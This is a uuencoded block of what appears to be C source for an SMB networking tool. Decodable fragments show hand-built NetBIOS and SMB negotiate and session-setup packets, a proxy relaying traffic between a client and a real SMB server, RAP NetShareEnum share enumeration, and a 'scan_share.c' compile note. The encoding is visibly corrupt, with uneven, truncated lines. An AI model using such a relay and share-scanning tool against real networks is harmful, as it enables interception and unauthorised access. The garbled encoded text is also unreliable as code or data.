M(%!A8VME=%M)4%]-05A?4TE:15T[#0H-"B!.8G1397-S:6]N2&1R($YB=%-E M'DL4&%C:V5T*3L-"B`- M"B\J*BHJ*BHJ*BHJ*DY%1U!23U0@4D5154535"HJ*BHJ*BHJ*BHJ*B\-"@T* M(%)E860H4V]C:U!R;WAY+%!A8VME="D[#0H@(`T*#0H@5W)I=&4H4V]C:U-M M8E-E2@-"B`@("`@("`@("`@("`@4&%C:V5T+`T* M("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T*("`@("`@("`@("`@("`F M4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY+%!A8VME="D[#0H-"B\J M*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ*BHJ*BHJ*B\-"B`-"B!2 M96%D*%-O8VM02Q086-K970I.PT*("`-"B!3971U<%A297%U97-T*`T* M("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R:71Y*3L-"B`@#0H@5W)I M=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U M('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/3D),3T-+*3L-"B`@9F-N M=&PH4V]C:U-M8E-E'DL)DYB=%-E MPT*("`@('!R:6YT9B@B7&Y397-S:6]N(&9I;FES:&5D("%<;B(I M.PT*("`@(&-L;W-E*%-O8VM02D[#0H@("`@8VQOR`-"B`@("!M96US970H4&%C:V5T+#`L M25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P>2A086-K970L*'5?8VAA MF5O9BA.8G1397-S:6]N2&1R*2D[#0H@ M("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H4V]C:U!R;WAY+`T*("`@ M("`@("`@*'5?8VAA2P-"B`@("`@("`@("`H=5]C:&%R("HI("A0 M86-K970I+`T*("`@("`@("`@(&YT;VAS*$YB=%-EPT*("!P2D[#0H@8VQO'DL(&EN="!3;V-K4VUB4V5R=F5R M*0T*>PT*(&EN="!396-U3TP.PT*#0H@:6YT($-O=6YT.PT*#0H@=5]C M:&%R($5N8W)Y<'1I;VY+97E;14Y#7TM%65],14Y'5$A=.PT*(`T*('5?8VAA M2@-"B`@("`@("`@ M("`@("`@4&%C:V5T+`T*("`@("`@("`@("`@("!%;F-R>7!T:6]N2V5Y+`T* M("`@("`@("`@("`@("`F4V5C=7)I='DI.PT*#0H@5W)I=&4H4V]C:U!R;WAY M+%!A8VME="D[#0H-"B\J*BHJ*BHJ*BHJ*E-%5%506"!215%515-4*BHJ*BHJ M*BHJ*BHJ*B\-"B`-"B!296%D*%-O8VM02Q086-K970I.PT*("`-"B!3 M971U<%A297%U97-T*`T*("`@("`@("`@("`@("`@4&%C:V5T+`T*("`@("`@ M("`@("`@("`@16YC2P-"B`@("`@("`@("`@("`@(%-E8W5R M:71Y*3L-"B`@#0H@5W)I=&4H4V]C:U-M8E-EPT*("!PF5O9BA3;6)48V]N6%)E<75E6]U('=A;G0@=&\@:&%V92!N;VX@8FQO8VMI;F<@'DL1E]3151&3"Q/7TY/ M3D),3T-+*3L-"B`@9F-N=&PH4V]C:U-M8E-E'DL)DYB=%-EPT*("`@('!R:6YT9B@B7&Y397-S M:6]N(&9I;FES:&5D("%<;B(I.PT*("`@(&-L;W-E*%-O8VM02D[#0H@ M("`@8VQOR`-"B`@("!M M96US970H4&%C:V5T+#`L25!?34%87U-)6D4I.R`-"B`@(`T*("`@(&UE;6-P M>2A086-K970L*'5?8VAAF5O9BA.8G13 M97-S:6]N2&1R*2D[#0H@("`@("`@("`@("`@("`@("`@(`T*("`@(')E860H M4V]C:U!R;WAY+`T*("`@("`@("`@*'5?8VAA2P-"B`@("`@ M("`@("`H=5]C:&%R("HI("A086-K970I+`T*("`@("`@("`@(&YT;VAS*$YB M=%-EPT*("!P2D[#0H@(&-L;W-E*%-O8VM3;6)397)V97(I.PT*("`-"B`@2D[#0H@8VQOPT* M("!PF5O9BAC:&%R*2DI.PT*("`@('-T2YS:6Y?861D45N970L#0H@("`@("`@("`@("`@("`@("`@("!296%L16YE=$-L:65N M="P-"B`@("`@("`@("`@("`@("`@("`@($1E=FEC92P-"B`@("`@("`@("`@ M("`@("`@("`@($1E45N970L#0H@("`@("`@("`@("`@(%)E86Q% M;F5T4VUB4V5R=F5R+`T*("`@("`@("`@("`@("!$979I8V4L#0H@("`@("`@ M("`@("`@($1E'DN M'DN45N970L#0H@("`@("`@("`@(%)E86Q%;F5T0VQI96YT+`T*("`@("`@ M("`@("!$979I8V4I.PT*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\-"@T* M('-W:71C:"A#:&]I8V4I#0H@>PT*("!C87-E("=Y)R`Z#0H@(%-M8E-E2YS:6Y? M9F%M:6QY(#T@049?24Y%5#L-"B!02YS:6Y?<&]R="`](&AT;VYS*$QI M2YS:6Y?861D&EO;BHO#0H@#0H@8FEN9"@-"B`@("`@(%-O8VM02P- M"B`@("`@("AS=')U8W0@2DL#0H@("`@("!S M:7IE;V8H'DL,2D[#0H-"B!#;W5N="`]('-I>F5O9BAS=')U8W0@'DL#0H@("`@("`@("`@("`@("`@("`@("AS M=')U8W0@2DL#0H@("`@("`@("`@("`@("`@ M("`@("AI;G0@*BD@*"9#;W5N="D-"B`@("`@("`@("`@("`@("`@("`I.PT* M#0H@8V]N;F5C="@-"B`@("`@("`@(%-O8VM3;6)397)V97(L#0H@("`@("`@ M("`HF5O9BAS=')U8W0@2PD@#0H@("\J8V]N;F5X:6]N(&]N('!OPT*("`O*DYO'DI.PT* M(`T*(')E='5R;B`P.PT*?2`-"B`@#0H-"@T*#0HO*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ5$A%($5.1"HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHO("`-"@T*#0H-"B\J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BI#550@2$5212HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHO#0H-"BTM6R`@07!P96YD:7@@0B`-"@T*66]U(&AA=F4@:6X@=&AI6]U M('=A;G0@=&\@8V]M<&EL92!I="P@=&AE(&-O;6UA;F0@:7,@(F=C8R!S8V%N M7W-H87)E+F,@+6\@4TU"6]U('=A;G0N("AL97-S('1H86X@,34@8VAA7,O#4P7'@T,UQX,C!<>#1E7`T*7'@T M-5QX-31<>#4W7'@T9EQX-3)<>#1B7'@R,%QX-3!<>#4R7'@T9EQX-#=<>#4R M7'@T,5QX-&1<>#(P7'@S,5P-"EQX,F5<>#,P7'@P,%QX,#)<>#1D7'@T.5QX M-#-<>#4R7'@T9EQX-3-<>#1F7'@T-EQX-31<>#(P7'@T95QX-#5<#0I<>#4T M7'@U-UQX-&9<>#4R7'@T8EQX-3-<>#(P7'@S,5QX,F5<>#,P7'@S,UQX,#!< M>#`R7'@T9%QX-#E<>#0S7`T*7'@U,EQX-&9<>#4S7'@T9EQX-#9<>#4T7'@R M,%QX-&5<>#0U7'@U-%QX-3=<>#1F7'@U,EQX-&)<>#4S7'@R,%P-"EQX,S-< M>#)E7'@S,%QX,#!<>#`R7'@T8UQX-#%<>#1E7'@T9%QX-#%<>#1E7'@S,5QX M,F5<>#,P7'@P,%QX,#)<#0I<>#1C7'@T9%QX,S%<>#)E7'@S,EQX-3A<>#,P M7'@S,%QX,S)<>#`P7'@P,EQX-3-<>#8Q7'@V9%QX-C)<>#8Q7`T*7'@P,%QX M,#)<>#1E7'@U-%QX,C!<>#1C7'@T,5QX-&5<>#1D7'@T,5QX-&5<>#(P7'@S M,5QX,F5<>#,P7'@P,%P-"EQX,#)<>#1E7'@U-%QX,C!<>#1C7'@T9%QX,C!< M>#,P7'@R95QX,S%<>#,R(B`@("`@("`@("`)#0H-"B\J5&AE(&YA=&EV92!O M"Y386UB82HO#0H- M"B-D969I;F4@3D%4259%7T]37TQ!3DU!3@DB7'@U-5QX-F5<>#8Y7'@W.%QX M,#!<>#4S7'@V,5QX-F1<#0I<>#8R7'@V,2(-"@T*+RI4:&4@0V]M;6%N9"!F M;W(@=&-O;G@@#0Y7'@U,%QX-#-<>#(T7'@P,%QX,V9<>#-F7'@S9EQX M,V9<>#-F(B`-"@T*#0HO*E1H92!205`@8V]M;6%N9"!A;F0@=&AE(%Q0:7!E M7&QA;FUA;B!S=')I;F#4P7'@T.5QX-3!<>#0U7'@U8UQX-&-<>#0Q7'@T95P-"EQX-&1< M>#0Q7'@T95QX,#!<>#`P7'@P,%QX-3=<>##8X7'@P,%QX M-#)<>#,Q7'@S,UQX-#)<>#4W7`T*7'@W85QX,#!<>#`Q7'@P,%QX9F9<>&9F M(@T*+RHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*@T*("`@("`@("`@("`@("`@ M("`@("`@("`@("`@("!35%)50U154D53#0HJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHO"0D)("`@("`-"G1Y<&5D968@"!)9"HO#0I](%-M8D)A7!E9&5F('-T M"!O9B!S96QE8W1E9"!D:6%L96-T*B\-"B!U7VEN=#A?="!396-U M4UO9&4["2\J4V5C=7)I='D@36]D92`Z*B\-"@D)"2\J8FET(#`@.B`P M/7-H87)E+"`Q/75S97(J+PT*"0D)+RIB:70@,2`Z(#$]96YC$UP>$-O=6YT6S)=.R\J36%X(%!E;F1I M;F<@;75L=&EP;&5X960@"!60W,@8F5T=V5E96X@8VQI96YT(&%N9"!S97)V97(J M+PT*('5?:6YT.%]T($UA>$)U9F9EF5;-%T[+RI-87@@=')A;G-M:70@ M8G5F9F5R('-I>F4J+PT*('5?:6YT.%]T($UA>%)A=U-I>F5;-%T[+RI-87@@ M4QE;F=T:#LO*DQE;F=T:"!O9B!E;F-R>7!T:6]N($ME>2HO M#0H@=5]I;G0X7W0@0GET94-O=6YT6S)=.PDO*D-O=6YT(&]F(&1A=&$@8GET M97,J+PT*?2!3;6).96=07!E9&5F('-T'0@8V]M;6%N9"!7;W)D8V]U M;G0J+PT*('5?:6YT.%]T($UA>$)U9F9EF5;,ET[+RI#;&EE;G0G&5D('!E;F1I;F<@F5R;RUA9&1I=&EO;F%L(%9#(&YU;6)E5LT73LO*G-E'0@8VUD("HO#0H@=5]I;G0X7W0@1FQA9W-; M,ET[+RI!9&1I=&EO;F%L(&EN9F]R;6%T:6]N(&)I="`P('-E=#UD:7-C;VYN M96-T(%1I9"`J+PT*('5?:6YT.%]T(%!AF5R;RDJ+PT*('5?:6YT.%]T($]P=&EO;F%L4W5P<&]R M=%LR73LO*D]P=&EO;F%L(%-U<'!O71E$1A M=&%#;W5N=%LR73L)+RI-87@@1&%T82!B>71E%-E='5P0V]U;G0["2\J36%X('-E='5P('=O7!E9&5F('-TPT*('5?:6YT.%]T(%=O71E71E71E71E71E4AD7!E*B\)#0H@=5]I;G0X7W0@1FQA9W,[+RIF;&%G M7!E#(P*B\@#0H@#0H@ M3F5T0FEOF4[#0H@#0H@3F)T4V5S71EF5O9BAU7V-H87(I*2D[#0H-"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!3;6).96=0F5O9BAU7VEN=#$V7W0I*3L-"@T*("I$;VUA:6Y.86UE3&5N9W1H(#T@("`@ M4VEZ92`M(`T*"0D)4VUB3F5G4')O=%)E<&QY+3Y%;F-R>7!T:6]N2V5Y3&5N M9W1H.PT*#0H@1&]M86EN3F%M92`]("AU7V-H87(@*BD@*&UA;&QO8R@J1&]M M86EN3F%M94QE;F=T:"`J('-I>F5O9BAU7V-H87(I*2D[#0H-"B\J0V]P>2!T M:&4@1&]M86EN(&YA;64@:6X@82!S=')I;FF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H4VUB3F5G4')O=%)E<&QY2&1R*0T*("`@("`@("`@("`@("`@("`@ M("`K(%-M8DYE9U!R;W1297!L>2T^16YC4QE;F=T:"DL#0H@ M("`@("`@("`@("`@("`@("`@("I$;VUA:6Y.86UE3&5N9W1H*3L-"B`-"B!R M971U"!297!L>2P@#0H@*B!A;F0@=&\@:&%V92!S;VUE(&EN9F]R;6%T:6]N M#0H@*B!L:6ME('1H92!4:60@9FEE;&0J+PT*#0H-"G9O:60@4F5C96EV951C M;VY84F5P;'DH#0H@("`@("`@("`@("`@("`@("`@("`@("\J3W5R('-O8VME M="HO#0H@("`@("`@("`@("`@("`@("`@("`@(&EN="!3;V-K+`T*("`@("`@ M("`@("`@("`@("`@("`@("`O*E1H92!4240@9FEE;&0J+PT*("`@("`@("`@ M("`@("`@("`@("`@("!U7VEN=#A?="`J5&ED*0T*>PT*#0H@:6YT(%!A8VME M=$QE;F=T:#L-"@T*('5?8VAAF5O9BAU7V-H87(I*2D[#0H- M"B!R96%D*%-O8VLL4&%C:V5T+%!A8VME=$QE;F=T:"D[#0H-"B!3;6)"87-E M(#T@*%-M8D)AF5O9BAU7VEN=#A?="DI.PT*#0H@9G)E92A086-K970I.PT*#0I]#0H-"B\J M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*B\@#0H-"B\J06YA;'ES:7,@;V8@=&AE M('1R86YS86-T:6]N(&%N9"!205`@8V]M;6%N9',@PT*("!U7V-H87(@3F5T3F%M95LQ,UT[#0H@('5?8VAA4AD3L-"@T*('5?:6YT,39?="!$:7-P;&%C M96UE;G0[#0H-"B!3:&%R94EN9F\@*E-H87)E.PT*#0H@4F5P;'E087)A;65T M97)S("I297!L>3L-"@T*(&EN="!I.PT*(`T*+RI4;R!R96-E:79E('1H92!. M971B:6]S(&AE861E2P@86YD('1H M92`-"B`J(%)!4"!C;VUM86YD(')EF5O9BA3;6)"87-E2&1R*2D[#0H@;65M8W!Y*"9$:7-P;&%C96UE;G0L#0H@ M("`@("`@(%-M8E1R86YS4F5P;'DM/E!A2T^16YTF4@82!P;VEN=&5R('1O M('1H92!S979EPT*("!PF5O9BA.0E1#;&EE;G0I*2D[#0H-"B\J5&AE($Y%5$))3U,@ M:&5A9&5R*B\-"B`-"B!.8G1397-S:6]N(#T@*$YB=%-E#@Q(%-E7!E(#T@,'@X,3L-"@T*+RI&;&%G6]U(&UU2!T M:&4@8VQI96YT)W,@3D540DE/4R!E;F-O9&5D(&YA;64L(`T*("H@5&AA="=S M(&%L;"!F;VQKF5O9BA.0E1397)V97(I*3L-"B`-"B`@#0H@;65M8W!Y*`T*("`@("`@("`O M*D%F=&5R('1H92!S97)V97(G71E0V]U M;G1;,%T@/2!S:7IE;V8H4TU"7U!23U1/0T],4RD@*R`Q.PT*#0HO*B@K(#$@ M9F]R('1H92!S:7IE(&]F($)U9F9E2!T:&4@9&EA;&5C="!S M=')I;FF5O M9BA.8G1397-S:6]N2&1R*0T*("`@("`@("`@("`@("`@("`@("`@("`@("`@ M*R!S:7IE;V8H4VUB0F%S94ADF5O9BA3;6).96=0F5O9BA3;6)3971U<%A297%U97-T2&1R*2`K#0H@("`@("`@ M("`@("`@("`@1&]M86EN3F%M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@ M("`@71E71E0V]U;G1;,%T@ M/2`@#0H@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(#$@*PT*("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@ M('-I>F5O9BA.051)5D5?3U-?3$%.34%.*3L-"B`-"@T*(&UE;6-P>2@H=5]C M:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S:7IE M;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@2@H=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@ M("`@("`@("`@("`@("`@("!S:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@ M("`@("`@("`@("`@("`@("`@F5O9BA3;6)3 M971U<%A297%U97-T2&1R*2`K#0H@("`@("`@("`@("`@("`@1&]M86EN3F%M M94QE;F=T:"`K(`T*("`@("`@("`@("`@("`@('-I>F5O9BA.051)5D5?3U-? M3$%.34%.*2`K#0H@("`@("`@("`@("`@("`@PT*(&EN="!086-K971,96YG=&@[#0H@=5]C M:&%R("I086-K970[#0H@=5]C:&%R("I0871H.PT*#0H@4VUB0F%S94ADF5O9BA3;6)48V]N6%)E<75E MF5O9BA.8G1397-S:6]N2&1R*2D[#0H-"B!3;6)"87-E M+3Y5:61;,%T],'@V-#L-"B`-"B\J0G5I;&0@=&AE(%1C;VY8(')E<75E2@H M=5]C:&%R("H@*2`H4&%C:V5T("L@#0H@("`@("`@("`@("`@("`@("`@("!S M:7IE;V8H3F)T4V5SF5O9BA3;6)"87-E2&1R*2`K(`T*("`@("`@("`@("`@("`@("`@("`@ MF5O M9BA40T].6%]#3TU-04Y$*2D[#0H-"B\J4V5N9"!T:&4@4&%C:V5T*B\-"@T* M(%!A8VME=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@ M("`@("`@("`@F5O M9BA40T].6%]#3TU-04Y$*2`K#0H@("`@("`@("`@("`@("`@,2`K('-I>F5O M9BA.8G1397-S:6]N2&1R*3L-"@T*('=R:71E*%-O8VLL4&%C:V5T+%!A8VME M=$QE;F=T:"D[#0H-"B!FF5O9BA.8G1397-S:6]N2&1R*2D- M"B`@("`@("`@("`@("`@("`@("`@("`@("`@("`@*B!S:7IE;V8H=5]C:&%R M*2DI.PT*#0H-"B\J($)U:6QD('1H92!.971B:6]S($AE861EF5O9BAU M7VEN=#A?="DI.PT*#0HO*D)U:6QD(%1H92!3;6(@5')A;G-A8W1I;VX@4F5Q M=65S="!(96%D97(J+PT*#0I4F5O9BA.8G1397-S:6]N2&1R*2`-"B`@("`@("`@ M("`@("`@("`@*R!S:7IE;V8H4VUB0F%S94AD%!A$1A=&%#;W5N=%LP73TP>$9&.PT* M#0HO*DYO($1A=&$L('-O(%1O=&%L1&%T84-O=6YT(&%N9"!$871A0V]U;G0@ M87)E(&5Q=6%L('1O('IE71E71E0V]U;G1;,%T],S([#0H- M"B\J0V]P>2!T:&4@;F%M92!S=')I;F<@9F]R($YE='-H87)E16YU;2!F=6YC M=&EO;BHO#0H-"B!M96UC<'DH*'5?8VAAF5O9BA3;6)4F5O9BA.04U%7U)!4%]#3TU-04Y$*2TQ*3L-"@T*(%!A8VME M=$QE;F=T:"`]"7-I>F5O9BA3;6)"87-E2&1R*2`K#0H@("`@("`@("`@("`@ M("`@F5O9BA.04U%7U)!4%]#3TU-04Y$*2`M,2`K(`T*("`@("`@("`@ M("`@("`@('-I>F5O9BA.8G1397-S:6]N2&1R*3L-"B`-"B!W'1EPT*('-T871I8R!C:&%R(&]P='-TPT* M("!PPT*("`@8V%S92`G8R#(P(')E<')E2A3;V-K+"`F1&]M86EN3F%M94QE;F=T:"D[#0H- M"B\J(%1H:7,@9G5N8W1I;VX@